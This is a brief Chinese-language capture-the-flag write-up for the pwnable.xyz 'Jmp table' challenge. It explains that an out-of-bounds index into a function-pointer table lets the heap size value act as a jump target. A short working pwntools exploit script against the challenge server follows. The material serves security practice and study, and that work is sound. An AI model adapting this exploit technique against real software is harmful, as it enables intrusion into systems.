Pwnalbe.xyz Jmp table

题目MD5：d735b979e30f5331e4b968c1b787a36d

题目保护：

 

 IDA分析

 

 程序根据一个数组来跳转执行功能，而且在malloc功能中，size会写入到数组的低地址方向，这时如果我们触发数组溢界，就可以任意地址跳转

exp

from pwn import *
io=remote('svc.pwnable.xyz',30007)
io.sendline('1')
io.recvuntil('Size:')
io.sendline('4196913')
sleep(1)
io.sendline('-2')
io.interactive()